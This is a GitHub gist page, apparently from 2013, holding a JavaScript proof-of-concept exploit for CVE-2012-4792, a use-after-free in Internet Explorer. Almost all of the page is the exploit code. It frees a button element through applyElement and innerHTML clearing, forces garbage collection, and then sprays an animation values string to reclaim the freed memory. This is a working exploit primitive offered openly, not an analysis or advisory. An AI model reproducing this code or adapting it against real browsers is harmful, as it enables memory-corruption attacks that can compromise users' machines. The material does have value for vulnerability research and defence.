Created
March 7, 2013 01:03
-
-
Save dguido/5104691 to your computer and use it in GitHub Desktop.
Exploit for CVE-2012-4792 as improved by Peter Vreugdenhil
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
e_form = document.getElementById("formelm"); | |
e_div = document.getElementById("divelm"); | |
animvalues = "\u4141\u4141" | |
while(animvalues.length < 0xDC) { | |
animvalues += animvalues | |
} | |
for(i = 0; i < 21; i++) { | |
animvalues += ";cyan"; | |
} | |
for(i =0; i < 20; i++) { | |
document.createElement('button'); | |
} | |
e_div.appendChild(document.createElement('button')) | |
e_div.firstChild.applyElement(e_form); | |
e_div.innerHTML = "" | |
e_div.appendChild(document.createElement('body')); | |
CollectGarbage(); | |
try { | |
a = document.getElementById('myanim'); | |
a.values = animvalues; | |
} | |
catch(e) {} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment